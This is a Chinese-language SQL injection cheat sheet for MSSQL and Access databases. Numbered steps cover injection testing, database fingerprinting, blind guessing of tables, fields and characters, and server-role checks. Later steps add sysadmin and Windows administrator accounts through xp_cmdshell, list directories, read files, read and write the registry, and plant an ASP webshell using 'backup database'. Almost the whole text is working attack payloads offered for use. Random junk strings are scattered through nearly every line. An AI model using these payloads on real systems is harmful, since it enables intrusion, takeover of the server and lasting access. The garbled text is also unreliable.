1.判断是否有注入;and 1=1 ;and 1=2 *fjarZu
2.初步判断是否是mssql ;and user>0 H(0d(c1s
=B;)h
3.注入参数是字符'and [查询条件] and ''=' MHgS5b2
>`6^1j(3
4.搜索时没过滤参数的'and [查询条件] and '%25'=' g'mkhF(
lRO4-
y
5.判断数据库系统 YKk%lZ.8
ln3.TR*
;and (select count(*) from sysobjects)>0 mssql M]6=Rxq1:E
$H_4Y-xOi
;and (select count(*) from msysobjects)>0 access >s1HQSe66
h<6r+*T' p
E[$['0
@
#V31im"N
6.猜数据库 ;and (select Count(*) from [数据库名])>0 T*$uc,
%D&FnTa
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 #Uudx~b
l]%|w]i\
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 //WgK{Mt
| o+vpy
9.(1)猜字段的ascii值(access) B$7lL
<1hwXo
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KKOu":b
GM@TWwG-B
(2)猜字段的ascii值(mssql) R,y8~D
atPf527\`
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 .fZv H
bi,%QZZ
10.测试权限结构(mssql) uH]^/'8vBd
Y}4dW'
|R+=Yk&u
{"@ Bf<J#
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Uz1u6BF
1Ce:<.99B
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- i~\gEMaO
F`Pu$>8C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- smWA~Aq
[TNYPA>{
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6_9w1
,WE
\ 0:ITz
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- AjZT- Q0L
IPJs$PtKok
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0V1kZ.
o]jo R3
;and 1=(select IS_MEMBER('db_owner'));-- uz*C`T0:rj
t[3Upe%
+[*UC"
S-v9z:M3
11.添加mssql和系统的帐户 \Ud2]^D=
R/ P.m~?
;exec master.dbo.sp_addlogin username;-- 8fdOV&&D~i
;exec master.dbo.sp_password null,username,password;-- XLM 9+L
S:DB%V3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0`OqD d
ytJ |jgp'
;exec master.dbo.xp_cmdshell 'net user username password ==IL63
=lVfrna
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- -"(e*&TJ#
X5)>yM^N`
;exec master.dbo.xp_cmdshell 'net user username password /add';-- OY?uqP}c
b5yb~;0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- );=JoRQ{
L !{^^7
%S@XY3jZY
9WBDSx_(Q
12.(1)遍历目录 y 5=J6a2.
!rrjA$P<v
;create table dirs(paths varchar(100), id int) gzw[^d
!WDdq_n*v
;insert dirs exec master.dbo.xp_dirtree 'c:\' %d*}:295
x%$Z/
;and (select top 1 paths from dirs)>0 +K+
== mO&
,kLeK{
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %zY3,4~
]Q^oc
:?lSa6de
Wlt shZo
(2)遍历目录 ^GL0|G=(1
!(+?\+U lE
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- e_,_:|t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 p|W:;(
rNI3_|a
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4
9#I
\QHM7C T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 jQf1h|e
J,jl(=G
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 mD|<qsY)
0E+ +
po{f*}gas]
?t<wp3bZ
13.mssql中的存储过程 Z#\
\NfR
#
VR}6Jv
xp_regenumvalues 注册表根键, 子键 `GH6$\:
P^&+ehp
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )Q9J,
vn|X,1o
xp_regread 根键,子键,键值名 8whjPn0
7_A(1Lx/l7
;exec xp_regread a)}?rzT]
:%s9<g;-h_
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 GT'%HmQI
A(<-
U|
xp_regwrite 根键,子键, 值名, 值类型, 值 {%~Sbcq4F
bp5hS/A^1w
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 mA{gj[@:x
na%9E8;:&v
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 pW!]
x37r{$2
xp_regdeletevalue 根键,子键,值名 zYH6+!VBH#
UIzk-.<
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 _{T`ka
$k}+,tHtJO
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 W6]iJ
_"z#I
CT(
:Rq@ %rL
&
yw-y4 =
14.mssql的backup创建webshell =axi0q?}
S0kH/A
use model _pk=IHGsB
,![C8il,
create table cmd(str image); idz6m]{~yT
BXm{x6\
insert into cmd(str) values (''); Xa%Z0%{
hydn" 9;
backup database model to disk='c:\l.asp'; -@AGQ+e
!07$aQYcd
e3',? 5j
g"<kj"
15.mssql内置函数 +]UPY5:F
o$2fML
;and (select @@version)>0 获得Windows的版本号 BXLhi(.s
n j1 cqh
;and user_name()='dbo' 判断当前系统的连接用户是不是sa mnG\UK,k
RkC?(p
;and (select user_name())>0 爆当前系统的连接用户 aiU n
bP
&XN*T.Y`
;and (select db_name())>0 得到当前连接的数据库 [NC^v.[1[
5E~][. d
V$^x]z
[gD02a:u
16.简洁的webshell T,jxIFrF
%_}#IS1
use model e@@kTny(
"<bL-k*H)
create table cmd(str image); gTiDV{Ip
Ho*S>Y
insert into cmd(str) values (''); 0]NjsOU=
EYMwg_
backup database model to disk='g:\wwwtest\l.asp';